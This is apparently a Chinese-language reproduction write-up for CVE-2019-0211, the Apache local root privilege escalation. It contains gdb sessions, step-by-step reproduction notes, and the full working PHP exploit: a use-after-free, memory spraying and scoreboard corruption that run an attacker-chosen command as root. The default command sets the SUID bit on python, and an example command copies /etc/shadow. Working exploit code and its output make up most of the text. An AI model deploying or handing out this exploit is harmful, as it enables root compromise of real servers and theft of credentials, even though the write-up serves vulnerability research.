Looking for all_buckets in memory [&mutex]: 0x7f2847b501e0 [mutex]: 0x7f2847b50330 [meth]: 0x7f2847545b60 [*]: 0x7f284732d0d0 [*]: 0x7f284732d070 [*]: 0x7f284732d010 [*]: 0x7f284732cfb0 [*]: 0x7f284732cb30 [*]: 0x7f284732c810 [*]: 0x7f284732cf40all_buckets = 0x7f2847b501d0

Computing potential bucket indexes and addressesPlacing payload at address 0x7f2847ae6908Spraying pointer Address: 0x7f2847ae69d8 From: 0x7f2847ae6a10 To: 0x7f2847af7000 Size: 0x105f0 Covered: 0x105f0 Apache: 0x114000

Iterating in SHM to find PIDs...Got PID: 30074 PID matches Changed bucket value to -18002 Ranges: 0x7f2847b501c0 - 0x7f2847b607b0

EXPLOIT SUCCESSFUL.Await 6:25AM.
 
   
   
 
root# gdb attach 30073gdb-peda$ p all_buckets $1 = (prefork_child_bucket *) 0x7f2847b501d0# 这里看的exp找的的all_bucket地址是没有问题的
gdb-peda$ p ap_scoreboard_image->parent[0]$2 = { pid = 0x757a, generation = 0x0, quiescing = 0x0, not_accepting = 0x0, connections = 0x0, write_completion = 0x0, lingering_close = 0x0, keep_alive = 0x0, suspended = 0x0, bucket = 0xffffb9ae}# pid 0x757a=30074 也是执行exp的worker进程pid# bucket 也已经成功修改为-18002
gdb-peda$ p $index = ap_scoreboard_image->parent[0]->bucket$3 = 0xffffb9aegdb-peda$ p all_buckets[$index]$4 = { pod = 0x7f2847ae69d8, listeners = 0x7f2847ae69d8, mutex = 0x7f2847ae69d8}# 这里看到一旦all_bucket[$index]命中堆喷射的区域,就会读取伪造的prefork_child_bucket,它的三个指针都会被设置为properties的地址
gdb-peda$ detach
引用一张图,很好的描述了利用成功时的内存布局:

其他说明

1.漏洞利用的关键点
SHM内存区域位于php内存下方(高地址),才能通过PHP代码读写SHM内存
all_buckets位于php内存下方,才能通过PHP代码找的all_buckets地址
apache greaceful 重启后,all_buckets的地址会产生偏移
2.all_buckets地址在apache greaceful restart后会改变,作者的环境只有几个字节的偏差,但是我的测试环境偏移很大:
 
   
   
 
# 几次apache graceful restart前后的偏移情况>>> hex(0x7f02d6bd11d0 - 0x7f02d6bb71d0)'0x1a000'>>> hex(0x7fbaf3eff1d0 - 0x7fbaf3ee51d0)'0x1a000'>>> hex(0x7f81814a31d0 - 0x7f81814891d0)'0x1a000'>>>
如果要成功利用需要修改exp:
 
   
   
 
$bucket_index_middle = (int) ( - ($all_buckets + 0x1a000 - $spray_middle) / $size_prefork_child_bucket );
另外,测偏移的方法:
 
   
   
 
# shell 1$ ps -aux|grep apacheroot 25990 0.0 1.8 320264 36456 ? Ss 20:48 0:00 /usr/sbin/apache2 -k start...$ sudo gdb attach 25990p all_bucketsb make_childc
#shell 2sudo apachectl graceful
# shell 1cp all_buckets
3.作者exp中UAF的这两句话在我的环境没有效果,复现exp中删掉了
 
   
   
 
if(version_compare(PHP_VERSION, '7.2') >= 0)
$room[] = "!$_protector";
4.测试环境是Ubuntu18 ,自带的python3.6,默认的cmd改了一下
 
   
   
 
$bucket = isset($_REQUEST['cmd']) ?
$_REQUEST['cmd'] :
"chmod +s /usr/bin/python3.6";

复现

Step1 – 下载exp,拷贝到web目录
 
   
   
 
$ cp exp.php /var/www/html/
Step2 – 执行exp
 
   
   
 
$ curl localhost/exp.phpCARPE (DIEM) ~ CVE-2019-0211
PID: 27115Fetching addresses zend_object_std_dtor: 0x7f2ff4939fb0 system: 0x7f2ff7826440 libaprX: 0x7f2ff7de7000-0x0x7f2ff7e1a000 libaprR: 0x7f2ff801a000-0x0x7f2ff801b000 shm: 0x7f2ff85b8000-0x0x7f2ff85cc000 apache: 0x7f2ff85fd000-0x0x7f2ff86e0000
Obtaining apache workers PIDs Found apache worker: 27113 Found apache worker: 27114 Found apache worker: 27115 Found apache worker: 27116 Found apache worker: 27117Got 5 PIDs.
Triggering UAF Creating room and filling empty spaces Allocating $abc and $p Unsetting both variables and setting $protector Creating DateInterval objectUAF successful.
Address of $abc: 0x7f2fefe9a4e8
Looking for all_buckets in memory [&mutex]: 0x7f2ff863f1e0 [mutex]: 0x7f2ff863f330 [meth]: 0x7f2ff801ab60 [*]: 0x7f2ff7e020d0 [*]: 0x7f2ff7e02070 [*]: 0x7f2ff7e02010 [*]: 0x7f2ff7e01fb0 [*]: 0x7f2ff7e01b30 [*]: 0x7f2ff7e01810 [*]: 0x7f2ff7e01f40all_buckets = 0x7f2ff863f1d0
Computing potential bucket indexes and addressesPlacing payload at address 0x7f2ff85bc148Spraying pointer Address: 0x7f2ff85bc218 From: 0x7f2ff85bc250 To: 0x7f2ff85cc000 Size: 0xfdb0 Covered: 0x4f470 Apache: 0xe3000
Iterating in SHM to find PIDs...Got PID: 27113 PID matches Changed bucket value to -32201 Ranges: 0x7f2ff8678d28 - 0x7f2ff8688ad8Got PID: 27114 PID matches Changed bucket value to -29495 Ranges: 0x7f2ff8668f78 - 0x7f2ff8678d28Got PID: 27115 PID matches Changed bucket value to -26789 Ranges: 0x7f2ff86591c8 - 0x7f2ff8668f78Got PID: 27116 PID matches Changed bucket value to -24083 Ranges: 0x7f2ff8649418 - 0x7f2ff86591c8Got PID: 27117 PID matches Changed bucket value to -21377 Ranges: 0x7f2ff8639668 - 0x7f2ff8649418
EXPLOIT SUCCESSFUL.Await 6:25AM.
Step3 – 手动重启Apache(模拟logrotate的每日自动重启)
 
   
   
 
$ sudo apachectl graceful
Step4 – 查看利用效果
 
   
   
 
$ ls -l /usr/bin/python3.6
-rwsr-sr-x 1 root root 4526456 Nov 7 2019 /usr/bin/python3.6
 



5. 复现环境EXP



 
   
   
 
<?php# CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation# Charles Fol# @cfreal_# 2019-04-08## INFOS## https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html## USAGE## 1. Upload exploit to Apache HTTP server# 2. Send request to page# 3. Await 6:25AM for logrotate to restart Apache# 4. python3.5 is now suid 0## You can change the command that is ran as root using the cmd HTTP# parameter (GET/POST).# Example: curl http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/## SUCCESS RATE## Number of successful and failed exploitations relative to of the number# of MPM workers (i.e. Apache subprocesses). YMMV.## W --% S F# 5 87% 177 26 (default)# 8 89% 60 8# 10 95% 70 4## More workers, higher success rate.# By default (5 workers), 87% success rate. With huge HTTPds, close to 100%.# Generally, failure is due to all_buckets being relocated too far from its# original address.## TESTED ON## - Apache/2.4.25# - PHP 7.2.12# - Debian GNU/Linux 9.6## TESTING## $ curl http://localhost/cfreal-carpediem.php# $ sudo /usr/sbin/logrotate /etc/logrotate.conf --force# $ ls -alh /usr/bin/python3.5# -rwsr-sr-x 2 root root 4.6M Sep 27 2018 /usr/bin/python3.5## There are no hardcoded addresses.# - Addresses read through /proc/self/mem# - Offsets read through ELF parsing## As usual, there are tons of comments.#



o('CARPE (DIEM) ~ CVE-2019-0211');o('');

error_reporting(E_ALL);



# Starts the exploit by triggering the UAF.function real(){ global $y; $y = [new Z()]; json_encode([0 => &$y]);}

# In order to read/write what comes after in memory, we need to UAF a string so# that we can control its size and make in-place edition.# An easy way to do that is to replace the string by a timelib_rel_time# structure of which the first bytes can be reached by the (y, m, d, h, i, s)# properties of the DateInterval object.## Steps:# - Create a base object (Z)# - Add string property (abc) so that sizeof(abc) = sizeof(timelib_rel_time)# - Create DateInterval object ($place) meant to be unset and filled by another# - Trigger the UAF by unsetting $y[0], which is still reachable using $this# - Unset $place: at this point, if we create a new DateInterval object, it will# replace $place in memory# - Create a string ($holder) that fills $place's timelib_rel_time structure# - Allocate a new DateInterval object: its timelib_rel_time structure will# end up in place of abc# - Now we can control $this->abc's zend_string structure entirely using# y, m, d etc.# - Increase abc's size so that we can read/write memory that comes after it,# especially the shared memory block# - Find out all_buckets' position by finding a memory region that matches the# mutex->meth structure# - Compute the bucket index required to reach the SHM and get an arbitrary# function call# - Scan ap_scoreboard_image->parent[] to find workers' PID and replace the# bucketclass Z implements JsonSerializable{ public function jsonSerialize(){ global $y, $addresses, $workers_pids;

# # Setup memory # o('Triggering UAF'); o(' Creating room and filling empty spaces');

# Fill empty blocks to make sure our allocations will be contiguous # I: Since a lot of allocations/deallocations happen before the script # is ran, two variables instanciated at the same time might not be # contiguous: this can be a problem for a lot of reasons. # To avoid this, we instanciate several DateInterval objects. These # objects will fill a lot of potentially non-contiguous memory blocks, # ensuring we get "fresh memory" in upcoming allocations. $contiguous = []; for($i=0;$i<10;$i++) $contiguous[] = new DateInterval('PT1S');

# Create some space for our UAF blocks not to get overwritten # I: A PHP object is a combination of a lot of structures, such as # zval, zend_object, zend_object_handlers, zend_string, etc., which are # all allocated, and freed when the object is destroyed. # After the UAF is triggered on the object, all the structures that are # used to represent it will be marked as free. # If we create other variables afterwards, those variables might be # allocated in the object's previous memory regions, which might pose # problems for the rest of the exploitation. # To avoid this, we allocate a lot of objects before the UAF, and free # them afterwards. Since PHP's heap is LIFO, when we create other vars, # they will take the place of those objects instead of the object we # are triggering the UAF on. This means our object is "shielded" and # we don't have to worry about breaking it. $room = []; for($i=0;$i<10;$i++) $room[] = new Z();

# Build string meant to fill old DateInterval's timelib_rel_time # I: ptr2str's name is unintuitive here: we just want to allocate a # zend_string of size 78. $_protector = ptr2str(0, 78);

o(' Allocating $abc and $p');

# Create ABC # I: This is the variable we will use to R/W memory afterwards. # After we free the Z object, we'll make sure abc is overwritten by a # timelib_rel_time structure under our control. The first 8*8 = 64 bytes # of this structure can be modified easily, meaning we can change the # size of abc. This will allow us to read/write memory after abc. $this->abc = ptr2str(0, 79);

# Create $p meant to protect $this's blocks # I: Right after we trigger the UAF, we will unset $p. # This means that the timelib_rel_time structure (TRT) of this object # will be freed. We will then allocate a string ($protector) of the same # size as TRT. Since PHP's heap is LIFO, the string will take the place # of the now-freed TRT in memory. # Then, we create a new DateInterval object ($x). From the same # assumption, every structure constituting this new object will take the # place of the previous structure. Nevertheless, since TRT's memory # block has already been replaced by $protector, the new TRT will be put # in the next free blocks of the same size, which happens to be $abc # (remember, |abc| == |timelib_rel_time|). # We now have the following situation: $x is a DateInterval object whose # internal TRT structure has the same address as $abc's zend_string. $p = new DateInterval('PT1S');

# # Trigger UAF #
o(' Unsetting both variables and setting $protector'); # UAF here, $this is usable despite being freed unset($y[0]); # Protect $this's freed blocks unset($p);

# Protect $p's timelib_rel_time structure $protector = ".$_protector"; # !!! This is only required for apache # Got no idea as to why there is an extra deallocation (?)

o(' Creating DateInterval object'); # After this line: # &((php_interval_obj) x).timelib_rel_time == ((zval) abc).value.str # We can control the structure of $this->abc and therefore read/write # anything that comes after it in memory by changing its size and # making in-place edits using $this->abc[$position] = $char $x = new DateInterval('PT1S'); # zend_string.refcount = 0 # It will get incremented at some point, and if it is > 1, # zend_assign_to_string_offset() will try to duplicate it before making # the in-place replacement $x->y = 0x00; # zend_string.len $x->d = 0x100; # zend_string.val[0-4] $x->h = 0x13121110;

# Verify UAF was successful # We modified stuff via $x; they should be visible by $this->abc, since # they are at the same memory location. if(!( strlen($this->abc) === $x->d && $this->abc[0] == "x10" && $this->abc[1] == "x11" && $this->abc[2] == "x12" && $this->abc[3] == "x13" )) { o('UAF failed, exiting.'); exit(); } o('UAF successful.'); o('');

# Give us some room # I: As indicated before, just unset a lot of stuff so that next allocs # don't break our fragile UAFd structure. unset($room);

# # Setup the R/W primitive #

# We control $abc's internal zend_string structure, therefore we can R/W # the shared memory block (SHM), but for that we need to know the # position of $abc in memory # I: We know the absolute position of the SHM, so we need to need abc's # as well, otherwise we cannot compute the offset

# Assuming the allocation was contiguous, memory looks like this, with # 0x70-sized fastbins: # [zend_string:abc] # [zend_string:protector] # [FREE#1] # [FREE#2] # Therefore, the address of the 2nd free block is in the first 8 bytes # of the first block: 0x70 * 2 - 24 $address = str2ptr($this->abc, 0x70 * 2 - 24); # The address we got points to FREE#2, hence we're |block| * 3 higher in # memory $address = $address - 0x70 * 3; # The beginning of the string is 24 bytes after its origin $address = $address + 24; o('Address of $abc: 0x' . dechex($address)); o('');

# Compute the size required for our string to include the whole SHM and # apache's memory region $distance = max($addresses['apache'][1], $addresses['shm'][1]) - $address ; $x->d = $distance;

# We can now read/write in the whole SHM and apache's memory region.

# # Find all_buckets in memory #

# We are looking for a structure s.t. # |all_buckets, mutex| = 0x10 # |mutex, meth| = 0x8 # all_buckets is in apache's memory region # mutex is in apache's memory region # meth is in libaprR's memory region # meth's function pointers are in libaprX's memory region o('Looking for all_buckets in memory'); $all_buckets = 0;

for( $i = $addresses['apache'][0] + 0x10; $i < $addresses['apache'][1] - 0x08; $i += 8 ) { # mutex $mutex = $pointer = str2ptr($this->abc, $i - $address); if(!in($pointer, $addresses['apache'])) continue;



# meth $meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address); if(!in($pointer, $addresses['libaprR'])) continue;

o(' [&mutex]: 0x' . dechex($i)); o(' [mutex]: 0x' . dechex($mutex)); o(' [meth]: 0x' . dechex($meth));



# meth->* # flags if(str2ptr($this->abc, $pointer - $address) != 0) continue; # methods for($j=0;$j<7;$j++) { $m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address); if(!in($m, $addresses['libaprX'])) continue 2; o(' [*]: 0x' . dechex($m)); }

$all_buckets = $i - 0x10; o('all_buckets = 0x' . dechex($all_buckets)); break; }

if(!$all_buckets) { o('Unable to find all_buckets'); exit(); }

o('');

# The address of all_buckets will change when apache is gracefully # restarted. This is a problem because we need to know all_buckets's # address in order to make all_buckets[some_index] point to a memory # region we control.

# # Compute potential bucket indexes and their addresses #

o('Computing potential bucket indexes and addresses');

# Since we have sizeof($workers_pid) MPM workers, we can fill the rest # of the ap_score_image->servers items, so 256 - sizeof($workers_pids), # with data we like. We keep the one at the top to store our payload. # The rest is sprayed with the address of our payload.

$size_prefork_child_bucket = 24; $size_worker_score = 264; # I get strange errors if I use every "free" item, so I leave twice as # many items free. I'm guessing upon startup some $spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2); $spray_max = $addresses['shm'][1]; $spray_min = $spray_max - $spray_size;

$spray_middle = (int) (($spray_min + $spray_max) / 2); $bucket_index_middle = (int) ( - ($all_buckets + 0x1a000 - $spray_middle) / $size_prefork_child_bucket );

//o(dechex($bucket_index_middle)); // o(dechex($bucket_index_middle) . " " . dechex($all_buckets) . " " . dechex($spray_middle) . " " . dechex($size_prefork_child_bucket));

# # Build payload #

# A worker_score structure was kept empty to put our payload in $payload_start = $spray_min - $size_worker_score;

$z = ptr2str(0);

# Payload maxsize 264 - 112 = 152 # Offset 8 cannot be 0, but other than this you can type whatever # command you want $bucket = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : "chmod +s /usr/bin/python3.6";

if(strlen($bucket) > $size_worker_score - 112) { o( 'Payload size is bigger than available space (' . ($size_worker_score - 112) . '), exiting.' ); exit(); } # Align $bucket = str_pad($bucket, $size_worker_score - 112, "x00");

# apr_proc_mutex_unix_lock_methods_t $meth = $z . $z . $z . $z . $z . $z . # child_init ptr2str($addresses['zend_object_std_dtor']) ;

# The second pointer points to meth, and is used before reaching the # arbitrary function call # The third one and the last one are both used by the function call # zend_object_std_dtor(object) => ... => system(&arData[0]->val) $properties = # refcount ptr2str(1) . # u-nTableMask meth ptr2str($payload_start + strlen($bucket)) . # Bucket arData ptr2str($payload_start) . # uint32_t nNumUsed; ptr2str(1, 4) . # uint32_t nNumOfElements; ptr2str(0, 4) . # uint32_t nTableSize ptr2str(0, 4) . # uint32_t nInternalPointer ptr2str(0, 4) . # zend_long nNextFreeElement $z . # dtor_func_t pDestructor ptr2str($addresses['system']) ;

$payload = $bucket . $meth . $properties ;

# Write the payload

o('Placing payload at address 0x' . dechex($payload_start));

$p = $payload_start - $address; for( $i = 0; $i < strlen($payload); $i++ ) { $this->abc[$p+$i] = $payload[$i]; }

# Fill the spray area with a pointer to properties
$properties_address = $payload_start + strlen($bucket) + strlen($meth); o('Spraying pointer'); o(' Address: 0x' . dechex($properties_address)); o(' From: 0x' . dechex($spray_min)); o(' To: 0x' . dechex($spray_max)); o(' Size: 0x' . dechex($spray_size)); o(' Covered: 0x' . dechex($spray_size * count($workers_pids))); o(' Apache: 0x' . dechex( $addresses['apache'][1] - $addresses['apache'][0] ));

$s_properties_address = ptr2str($properties_address);

for( $i = $spray_min; $i < $spray_max; $i++ ) { $this->abc[$i - $address] = $s_properties_address[$i % 8]; } o('');

# Find workers PID in the SHM: it indicates the beginning of their # process_score structure. We can then change process_score.bucket to # the index we computed. When apache reboots, it will use # all_buckets[ap_scoreboard_image->parent[i]->bucket]->mutex # which means we control the whole apr_proc_mutex_t structure. # This structure contains pointers to multiple functions, especially # mutex->meth->child_init(), which will be called before privileges # are dropped. # We do this for every worker PID, incrementing the bucket index so that # we cover a bigger range.
o('Iterating in SHM to find PIDs...');

# Number of bucket indexes covered by our spray $spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket); # Number of bucket indexes covered by our spray and the PS structures $total_nb_buckets = $spray_nb_buckets * count($workers_pids); # First bucket index to handle $bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2); // $bucket_index = $bucket_index_middle;

# Iterate over every process_score structure until we find every PID or # we reach the end of the SHM for( $p = $addresses['shm'][0] + 0x20; $p < $addresses['shm'][1] && count($workers_pids) > 0; $p += 0x24 ) { $l = $p - $address; $current_pid = str2ptr($this->abc, $l, 4); o('Got PID: ' . $current_pid); # The PID matches one of the workers if(in_array($current_pid, $workers_pids)) { unset($workers_pids[$current_pid]); o(' PID matches'); # Update bucket address $s_bucket_index = pack('l', $bucket_index); $this->abc[$l + 0x20] = $s_bucket_index[0]; $this->abc[$l + 0x21] = $s_bucket_index[1]; $this->abc[$l + 0x22] = $s_bucket_index[2]; $this->abc[$l + 0x23] = $s_bucket_index[3]; o(' Changed bucket value to ' . $bucket_index); $min = $spray_min - $size_prefork_child_bucket * $bucket_index; $max = $spray_max - $size_prefork_child_bucket * $bucket_index; o(' Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max)); # This bucket range is covered, go to the next one $bucket_index += $spray_nb_buckets; } }

if(count($workers_pids) > 0) { o( 'Unable to find PIDs ' . implode(', ', $workers_pids) . ' in SHM, exiting.' ); exit(); }

o(''); o('EXPLOIT SUCCESSFUL.'); o('Await 6:25AM.');
return 0; }}

function o($msg){ # No concatenation -> no string allocation print($msg); print("n");}

function ptr2str($ptr, $m=8){ $out = ""; for ($i=0; $i<$m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out;}

function str2ptr(&$str, $p, $s=8){ $address = 0; for($j=$s-1;$j>=0;$j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address;}

function in($i, $range){ return $i >= $range[0] && $i < $range[1];}

/** * Finds the offset of a symbol in a file. */function find_symbol($file, $symbol){ $elf = file_get_contents($file); $e_shoff = str2ptr($elf, 0x28); $e_shentsize = str2ptr($elf, 0x3a, 2); $e_shnum = str2ptr($elf, 0x3c, 2);

$dynsym_off = 0; $dynsym_sz = 0; $dynstr_off = 0;

for($i=0;$i<$e_shnum;$i++) { $offset = $e_shoff + $i * $e_shentsize; $sh_type = str2ptr($elf, $offset + 0x04, 4);

$SHT_DYNSYM = 11; $SHT_SYMTAB = 2; $SHT_STRTAB = 3;

switch($sh_type) { case $SHT_DYNSYM: $dynsym_off = str2ptr($elf, $offset + 0x18, 8); $dynsym_sz = str2ptr($elf, $offset + 0x20, 8); break; case $SHT_STRTAB: case $SHT_SYMTAB: if(!$dynstr_off) $dynstr_off = str2ptr($elf, $offset + 0x18, 8); break; }

}

if(!($dynsym_off && $dynsym_sz && $dynstr_off)) exit('.');

$sizeof_Elf64_Sym = 0x18;

for($i=0;$i * $sizeof_Elf64_Sym < $dynsym_sz;$i++) { $offset = $dynsym_off + $i * $sizeof_Elf64_Sym; $st_name = str2ptr($elf, $offset, 4);
if(!$st_name) continue;
$offset_string = $dynstr_off + $st_name; $end = strpos($elf, "x00", $offset_string) - $offset_string; $string = substr($elf, $offset_string, $end);

if($string == $symbol) { $st_value = str2ptr($elf, $offset + 0x8, 8); return $st_value; } }

die('Unable to find symbol ' . $symbol);}

# Obtains the addresses of the shared memory block and some functions through # /proc/self/maps# This is hacky as hell.function get_all_addresses(){ $addresses = []; $data = file_get_contents('/proc/self/maps'); $follows_shm = false;

foreach(explode("n", $data) as $line) { if(!isset($addresses['shm']) && strpos($line, '/dev/zero')) { $line = explode(' ', $line)[0]; $bounds = array_map('hexdec', explode('-', $line)); $msize = $bounds[1] - $bounds[0]; if ($msize >= 0x10000 && $msize <= 0x20000) { $addresses['shm'] = $bounds; $follows_shm = true; } } if( preg_match('#(/[^s]+libc-[0-9.]+.so[^s]*)#', $line, $matches) && strpos($line, 'r-xp') ) { $offset = find_symbol($matches[1], 'system'); $line = explode(' ', $line)[0]; $line = hexdec(explode('-', $line)[0]); $addresses['system'] = $line + $offset; } if( strpos($line, 'libapr-1.so') && strpos($line, 'r-xp') ) { $line = explode(' ', $line)[0]; $bounds = array_map('hexdec', explode('-', $line)); $addresses['libaprX'] = $bounds; } if( strpos($line, 'libapr-1.so') && strpos($line, 'r--p') ) { $line = explode(' ', $line)[0]; $bounds = array_map('hexdec', explode('-', $line)); $addresses['libaprR'] = $bounds; } # Apache's memory block is between the SHM and ld.so # Sometimes some rwx region gets mapped; all_buckets cannot be in there # but we include it anyways for the sake of simplicity if( ( strpos($line, 'rw-p') || strpos($line, 'rwxp') ) && $follows_shm ) { if(strpos($line, '/lib')) { $follows_shm = false; continue; } $line = explode(' ', $line)[0]; $bounds = array_map('hexdec', explode('-', $line)); if(!array_key_exists('apache', $addresses)) $addresses['apache'] = $bounds; else if($addresses['apache'][1] == $bounds[0]) $addresses['apache'][1] = $bounds[1]; else $follows_shm = false; } if( preg_match('#(/[^s]+libphp7[0-9.]*.so[^s]*)#', $line, $matches) && strpos($line, 'r-xp') ) { $offset = find_symbol($matches[1], 'zend_object_std_dtor'); $line = explode(' ', $line)[0]; $line = hexdec(explode('-', $line)[0]); $addresses['zend_object_std_dtor'] = $line + $offset; } }

$expected = [ 'shm', 'system', 'libaprR', 'libaprX', 'apache', 'zend_object_std_dtor' ]; $missing = array_diff($expected, array_keys($addresses));

if($missing) { o( 'The following addresses were not determined by parsing ' . '/proc/self/maps: ' . implode(', ', $missing) ); exit(0); }



o('PID: ' . getmypid()); o('Fetching addresses');

foreach($addresses as $k => $a) { if(!is_array($a)) $a = [$a]; o(' ' . $k . ': ' . implode('-0x', array_map(function($z) { return '0x' . dechex($z); }, $a))); } o('');

return $addresses;}

# Extracts PIDs of apache workers using /proc/*/cmdline and /proc/*/status,# matching the cmdline and the UIDfunction get_workers_pids(){ o('Obtaining apache workers PIDs'); $pids = []; $cmd = file_get_contents('/proc/self/cmdline'); $processes = glob('/proc/*'); foreach($processes as $process) { if(!preg_match('#^/proc/([0-9]+)$#', $process, $match)) continue; $pid = (int) $match[1]; if( !is_readable($process . '/cmdline') || !is_readable($process . '/status') ) continue; if($cmd !== file_get_contents($process . '/cmdline')) continue;

$status = file_get_contents($process . '/status'); foreach(explode("n", $status) as $line) { if( strpos($line, 'Uid:') === 0 && preg_match('#b' . posix_getuid() . 'b#', $line) ) { o(' Found apache worker: ' . $pid); $pids[$pid] = $pid; break; }

} }
o('Got ' . sizeof($pids) . ' PIDs.'); o('');

return $pids;}

$addresses = get_all_addresses();$workers_pids = get_workers_pids();real();?>
 



6. 背景知识



php内核相关:  https://www.kancloud.cn/nickbai/php7/363255

函数

自定义函数执行原理
https://www.kancloud.cn/nickbai/php7/363282
execute_ex处理php脚本中函数的执行,它将php语言解释成OPCODE指令。
其中无返回值函数的解释和执行在ZEND_DO_UCALL_SPEC_RETVAL_UNUSED_HANDLER中完成。
通过VM_ENTER宏以此调用opcode对应的handler处理指令。
调用栈:
 
   
   
 
#0 execute_ex#1 0x0000555555ddd43d in zend_execute #2 0x0000555555c1b919 in zend_execute_scripts #3 0x0000555555b60723 in php_execute_script #4 0x0000555555de0cf8 in do_cli #5 0x0000555555de20bf in main #6 0x00007ffff6a38b97 in __libc_start_main #7 0x00005555556896aa in _start ()
execute_ex函数:
 
   
   
 
ZEND_API void execute_ex(zend_execute_data *ex){ while (1) {... HYBRID_CASE(ZEND_DO_UCALL_SPEC_RETVAL_UNUSED): ZEND_DO_UCALL_SPEC_RETVAL_UNUSED_HANDLER(ZEND_OPCODE_HANDLER_ARGS_PASSTHRU); HYBRID_BREAK();...}
ZEND_DO_UCALL_SPEC_RETVAL_UNUSED_HANDLER函数:
 
   
   
 
static ZEND_VM_HOT ZEND_OPCODE_HANDLER_RET ZEND_FASTCALL ZEND_DO_UCALL_SPEC_RETVAL_UNUSED_HANDLER(ZEND_OPCODE_HANDLER_ARGS){ USE_OPLINE zend_execute_data *call = EX(call); zend_function *fbc = call->func; zval *ret;... i_init_func_execute_data(call, &fbc->op_array, ret); ZEND_VM_ENTER();}
ZEND_VM_ENTER宏:
 
   
   
 
# define ZEND_VM_ENTER() execute_data = EG(current_execute_data); LOAD_OPLINE(); ZEND_VM_INTERRUPT_CHECK(); ZEND_VM_CONTINUE()

# define ZEND_VM_CONTINUE() ((opcode_handler_t)OPLINE->handler)(ZEND_OPCODE_HANDLER_ARGS_PASSTHRU); return
zend_function结构体:
保存了php函数名称,参数,opcode数组op_array
 
   
   
 
union _zend_function { zend_uchar type;  uint32_t quick_arg_flags;
struct {... zend_string *function_name;... uint32_t num_args; uint32_t required_num_args;... } common;

zend_op_array op_array; zend_internal_function internal_function;};
zend_op_array和op_code:
 
   
   
 
struct _zend_op_array { /* Common elements */ zend_uchar type;... zend_string *function_name;... zend_op *opcodes;... HashTable *static_variables;}
struct _zend_op { const void *handler;... zend_uchar opcode;...};
调试:
这样下断点可以观察到即将执行的自定义函数
 
   
   
 
gdbfile phpb mainr uaf.phpb i_init_func_execute_datacsip (char *)(op_array.function_name.val)csip (char *)(op_array.function_name.val)

https://www.kancloud.cn/nickbai/php7/363285
 
   
   
 
// A PHP object is a combination of a lot of structures, such as zval, zend_object, zend_object_handlers, zend_string, etc., which are all allocated, and freed when the object is destroyed.
struct _zend_object { zend_refcounted_h gc; // 引用计数器,8字节 uint32_t handle; zend_class_entry *ce; const zend_object_handlers *handlers; HashTable *properties; zval properties_table[1];};
 
   
   
 
struct _zend_class_entry { char type; zend_string *name; struct _zend_class_entry *parent; int refcount; uint32_t ce_flags;... HashTable function_table; HashTable properties_info; HashTable constants_table;... union _zend_function *constructor; union _zend_function *destructor;...}
 
   
   
 
struct _zend_object_handlers { /* offset of real object header (usually zero) */ int offset; /* general object functions */ zend_object_free_obj_t free_obj;...}

变量

zend_string
https://www.kancloud.cn/nickbai/php7/363267
http://www.phpinternalsbook.com/php7/internal_types/strings/zend_strings.html
 
   
   
 
struct _zend_string { zend_refcounted_h gc; // 引用计数器,8字节 zend_ulong h; size_t len; char val[1];}
struct _zend_string zend_string;#define ZSTR_VAL(zstr) (zstr)->val#define ZSTR_LEN(zstr) (zstr)->len



7. 其他

CVE-2019-6977

这个是作者提到的后来发现的一个PHP的越界写漏洞,可以替代上面的UAF来读写apache内存
https://bugs.php.net/bug.php?id=77270
https://github.com/cfreal/exploits/blob/master/CVE-2019-6977-imagecolormatch/exploit.php
https://nvd.nist.gov/vuln/detail/CVE-2019-6977
imagecreatetruecolor函数
主要是调用gdImageCreateTrueColor分配内存并初始化一个gdImage结构体
gdImage
 
   
   
 
typedef struct gdImageStruct { /* Palette-based image pixels */ unsigned char ** pixels; int sx; int sy; ... int ** tpixels; ...} gdImage;
typedef gdImage * gdImagePtr;
imagecreatetruecolor
 
   
   
 
// php/ext/gd/gd.cPHP_FUNCTION(imagecreatetruecolor){... im = gdImageCreateTrueColor(x_size, y_size);...}
// php/ext/gd/libgd/gd.cgdImagePtr gdImageCreateTrueColor (int sx, int sy){ int i; gdImagePtr im;... im = (gdImage *) gdMalloc(sizeof(gdImage)); memset(im, 0, sizeof(gdImage)); im->tpixels = (int **) gdMalloc(sizeof(int *) * sy); ... for (i = 0; i < sy; i++) { im->tpixels[i] = (int *) gdCalloc(sx, sizeof(int)); }... im->trueColor = 1;... return im;}
#define gdMalloc(size) emalloc(size)#define gdCalloc(nmemb, size) ecalloc(nmemb, size)
imagecolorallocate函数
给一个图像分配颜色
 
   
   
 
// phpint imagecolorallocate ( resource $image , int $red , int $green , int $blue )
 
   
   
 
PHP_FUNCTION(imagecolorallocate){ zval *IM; zend_long red, green, blue; gdImagePtr im; int ct = (-1);... ct = gdImageColorAllocate(im, red, green, blue); ...}
int gdImageColorAllocate (gdImagePtr im, int r, int g, int b){ return gdImageColorAllocateAlpha (im, r, g, b, gdAlphaOpaque);}
// truecolor 图像int gdImageColorAllocateAlpha (gdImagePtr im, int r, int g, int b, int a){ int i; int ct = (-1); if (im->trueColor) { return gdTrueColorAlpha(r, g, b, a); }...}
#define gdTrueColorAlpha(r, g, b, a) (((a) << 24) + ((r) << 16) + ((g) << 8) + (b))
imagecreate函数
imagecreate — 新建一个基于调色板的图像
 
   
   
 
PHP_FUNCTION(imagecreate){ zend_long x_size, y_size; gdImagePtr im;... im = gdImageCreate(x_size, y_size);...}
gdImagePtr gdImageCreate (int sx, int sy){ int i; gdImagePtr im;... im = (gdImage *) gdCalloc(1, sizeof(gdImage));
im->pixels = (unsigned char **) gdMalloc(sizeof(unsigned char *) * sy);... for (i = 0; i < sy; i++) { im->pixels[i] = (unsigned char *) gdCalloc(sx, sizeof(unsigned char)); } im->sx = sx; im->sy = sy;... for (i = 0; i < gdMaxColors; i++) { im->open[i] = 1; im->red[i] = 0; im->green[i] = 0; im->blue[i] = 0; } im->trueColor = 0; im->tpixels = 0;... return im;}
